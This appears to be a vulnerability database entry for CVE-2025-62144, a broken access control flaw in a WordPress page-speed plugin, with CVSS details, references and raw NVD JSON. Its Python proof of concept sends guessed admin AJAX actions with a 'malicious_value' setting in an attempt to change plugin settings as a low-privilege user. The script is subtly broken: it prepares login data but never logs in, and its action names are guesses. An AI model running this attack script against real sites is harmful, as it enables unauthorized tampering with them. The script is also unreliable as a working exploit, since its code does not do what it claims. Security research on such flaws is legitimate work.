CVE-2025-62144

Description

Missing Authorization vulnerability in Mohammed Kaludi Core Web Vitals & PageSpeed Booster core-web-vitals-pagespeed-booster allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Core Web Vitals & PageSpeed Booster: from n/a through <= 1.0.28.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Core Web Vitals & PageSpeed Booster <= 1.0.28

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-62144 PoC - Broken Access Control in Core Web Vitals & PageSpeed Booster
# Target: WordPress site with Core Web Vitals & PageSpeed Booster plugin <= 1.0.28

target = sys.argv[1] if len(sys.argv) > 1 else 'http://target-site.com'

# Step 1: Authenticate as low-privilege user (subscriber role)
# Note: Replace with valid credentials
session = requests.Session()
login_data = {
    'log': 'subscriber_user',
    'pwd': 'password',
    'wp-submit': 'Log In',
    'redirect_to': '/wp-admin/'
}

# Step 2: Identify vulnerable AJAX action (requires enumeration)
# Example: Plugin may expose admin-only functionality via AJAX
vulnerable_actions = [
    'cwv_settings_save',
    'pagespeed_booster_clear_cache',
    'cwvpb_update_options',
    'cwvpb_save_settings'
]

# Step 3: Exploit broken access control
for action in vulnerable_actions:
    exploit_data = {
        'action': action,
        'nonce': '',  # May not be required due to missing auth check
        '_wpnonce': '',
        # Additional parameters may be needed
        'settings': 'malicious_value'
    }
    
    response = session.post(
        f'{target}/wp-admin/admin-ajax.php',
        data=exploit_data,
        headers={'Content-Type': 'application/x-www-form-urlencoded'}
    )
    
    if response.status_code == 200 and 'success' in response.text:
        print(f'[+] Vulnerable action found: {action}')
        print(f'[+] Response: {response.text}')
        break

print('[*] PoC execution completed')

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62144
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62144
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62144/
[4] VulDB https://vuldb.com/cve/CVE-2025-62144
[5] https://patchstack.com/database/Wordpress/Plugin/core-web-vitals-pagespeed-booster/vulnerability/wordpress-core-web-vitals-pagespeed-booster-plugin-1-0-27-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62144", "sourceIdentifier": "[email protected]", "published": "2025-12-31T14:15:53.647", "lastModified": "2026-04-23T15:34:37.427", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Mohammed Kaludi Core Web Vitals & PageSpeed Booster core-web-vitals-pagespeed-booster allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Core Web Vitals & PageSpeed Booster: from n/a through <= 1.0.28."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en Mohammed Kaludi Core Web Vitals & PageSpeed Booster permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Core Web Vitals & PageSpeed Booster: desde n/a hasta 1.0.27."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/core-web-vitals-pagespeed-booster/vulnerability/wordpress-core-web-vitals-pagespeed-booster-plugin-1-0-27-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}